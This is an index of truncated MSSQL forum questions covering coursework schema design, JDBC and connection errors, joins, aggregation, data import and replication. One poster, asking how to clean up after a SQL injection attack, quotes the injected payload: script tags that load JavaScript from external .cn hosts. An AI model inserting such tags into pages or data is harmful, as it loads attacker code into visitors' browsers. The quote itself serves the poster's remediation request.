[mssql] Forum Topics

Just struggling through my SQL coursework, and already fallen over the first stubling block :( My case study tells me that i need to put a foreign key from my centre table (parent) to my salesman table (child) on a 1-1 relationship. Trying to add my foreign key, which is …

Hi friends, I am new to SQL.. I have a table with 200 rows and 100 columns.. I want to extract unique rows from this table such that no two row are more than 60% similar.. this 60% is a variable and would be user defined.. I have attached an …

Hello I have 2 databases, one is like a backup for the other. So they have identical tables: Alarmi, which has columns: OBJEKT, OPIS, VREDNOST, START, E_A, UPORABNIK I want to compare those two tables and copy only new entries (rows) to the backup database. How can I do that? …

Hello, I have downloaded "Microsoft SQL Server JDBC Driver 3.0" and tried sample code. I added "sqljdbc.jar" and "sqljdbc4.jar" in Libraries. But getting error, [COLOR="Red"]java.sql.SQLException: No suitable driver found for jdbc:sqlserver:bug_tracking at java.sql.DriverManager.getConnection(DriverManager.java:602) at java.sql.DriverManager.getConnection(DriverManager.java:185) at Main.main(Main.java:18)[/COLOR] The code is given below : [CODE]import java.sql.*; public class Main { public …

Hi friends.When I try to connect to sql server 2008 from visual studio 2008 an error occurs : "A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL …

I am creating a sample database and the work is so painful, I really wonder and need assistance to reduce my pain. I would like to create a "lookup Field" which returns the value (string) automatically from another table. Example, I have 2 tables - Department and Employee Department[DepartmentID, DepartmentName] …

web.config ConnectionString My Connection string for an application within iis to connect mssql db looks like this <add key="ConnectionString" value="server=localhost;database=search_parser_2;uid=DOMAIN\Administrator;pwd=password;Connect Timeout=1000000;" /> Yet the application wont get past the login script (where the sql connection is happening i presume). the database name is correct and the server name is correct …

What I'm working on is a video rental project in visual basic 2008. I have a local database which contains info on DVDs, Members and a table for current rentals. [B]The columns i have in the current rentals table are:[/B] MemberID | DVDID | DaysOnRent | DateRented | DueDate | …

I have 2 databases on my computer, managed in the same SQL Management Studio - named [B]DATABASE1[/B] and [B]DATABASE2.[/B] The two databases are different except they have 1 table is the same, this table is called [B]Employee[/B] Because this the content of this table should be the same, how could …

Hello Everybody, I have used inner join with two tables to join them and tried to calculate the sum of rows. Now the table descriptions are- Table1- agent_business_collection (it stores business collection of an agent of different business packages) Table2 - agent_business_commission (it stores commission of an agent against different …

I am exporting a large amount of data from SQL Server 2005 to Excel. Most of the data appears as I want it to- without the exponential notation. Any values [I]smaller [/I]than 0.0001 (i.e. four zeros to the right of the decimal) are displayed as, for example, 7E-05 rather than …

I need to have a database of the online flight booking system. May i have some guidance ?

Hello guys help pls i'm trying to populate data from MS Database to list-view [code] string Collect_FULL = "SELECT FirstName, MiddleName, LastName, " + " Gender, DoB, Dependents, Address + ', ' + City + ', ' + State + ', ' + ZipCode AS Address, PhoneNumber, MobileNumber " Status …

I was searching around but I could not find it: I'd like a tool(free or paid) that is able to manage multiple MySql servers from the same GUI. I know about few thick-client apps that do this, but I need one that you can use it from internet. So far …

Hi All, I am trying to convert the following access update query into TSQL without any luck: UPDATE tblCattle INNER JOIN tblFarmDetails ON tblCattle.strEartag = tblFarmDetails.EarTagNo SET curMartPrice = tblFarmDetails.MartPric WHERE (curMartPrice=0 Or curMartPrice Is Null); First I tried simply pasting in the query with no luck so below is …

I need to eliminate a record with almost exactly the same data except 1...for example: I have 4 Fields for Employee table: Employee Stat First Name Last Name Employee ID Active James Smith JOS Resigned James Smith JOS For some reason the table I'm querying has these data. How can …

I have a problem I have a long table with many costumers, each costumer have between 70-100 bills how can i get for each one his top 5, all the replies giving me only the top 5 of the first.(MsSQL!) 10X Ofir

Hi I Create the tigger when update process happen in database.When the after update process happened ,tigger instert the new record into another table about that table locate in different server.I create linked server also ,once tigger execute it generate the Error message .Below I mention the error Message I …

The site that i'm working on is [url]http://www.perfectbrewingsupply.com[/url]. The site seems to come up properly (after i reset a new user/pw in the config file) but when trying to access the database for zencart, i am still receiving the following error: 0 DB_ERROR_NOT_CONNECTED in: [select * from project_version WHERE project_version_key …

Hi guys, I have a problem when synchronizing web publication. I begin by giving you an insight into my soft installed: -sql-server 2005 -windows seven so IIS7 I created a publication MaPublication.I made a right click on publication-> Release Local> MaPublication then I chose to configure synchronization Web.Then, next-> sql …

I Got 2 tables: 'Standby' and 'Usage' [COLOR="Red"]Standby[/COLOR] Table got this fields: [COLOR="Red"]PartNº[/COLOR] (equipment id); [COLOR="Red"]Area [/COLOR](physical location); [COLOR="Red"]Stock1[/COLOR] (Nº Total of equipments); [COLOR="Red"]Usage[/COLOR] table got this fields: [COLOR="Red"]Quant_Used[/COLOR] (The times that the equipement is taken from Standby); [COLOR="Red"]Quant_Received[/COLOR] (The times that the equipement is restored to Standby); [COLOR="Red"]PartNº[/COLOR] (foreign …

hello all in table1 I have Date Value 2/1/2010 100 2/2/2010 110 2/5/2010 95 3/4/2010 150 3/15/2010 220 etc how to sum the value according to it's month ? so I got Pebruary' sum value=315 March sum value =370 tq

How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script>

gud day.. is it possible to have a database with password? i mean not setting a password for database users, but for the database itself.. i do not want the database users to see what's inside of my tables.. is it possible?? thank you..

Hi ppl , Need some advise on my SQL coding . i have written some SQL code to draw and compare some data in which i was thrown back with an error of no Select statement after <> or any other expression . Can someone advise me of any walkaround …

I would like to get information of an employee by his EmployeeKey - in my case : LastName, FirstName, Gender, and Title using ASP. Net - C# - then display this information to label (label.Text = return value) The SQL is simple - [code] use AdventureWorksDW SELECT [FirstName], [LastName],[Gender], [Title] …

Hi Everyone, I'm trying to figure out how to use OPENROWSET to copy data from a local database to a remote one. I am able to query data from the remote table, and update values without issue. Example to update: [CODE] update OPENROWSET('SQLOLEDB', 'www.xxx.yyy.xxx'; 'username'; 'password, 'SELECT * FROM dbname.dbo.tablename') …

Hi. I am trying to load data from text file do table by BULK INSERT query. Command crashes on loading date field from text file to db. In the file there is a column where date is stored in the following format: [B]Mar 18 2008 3:40:25:153PM[/B]. The type of the …

How can I get the sum of ‘ExpCounter’? I want to end up with Batch_Number and Sum of ExpCounter in my results. [CODE] select batch_number, sum(acount)/aSize as 'ExpCounter' from HMIExpCount2 where aDate >= '03/01/2010' and aDate <= '03/02/2010' and batch_number = '118705' group by batch_number, asize [/CODE] Thanks!

Has anyone found any documentation on how to properly pass variables from a SQL Table over to another task within the Foreach Loop container? Basically I want to take two columns from a table and pass them into a stored procedure that will be executed within a SQL Task within …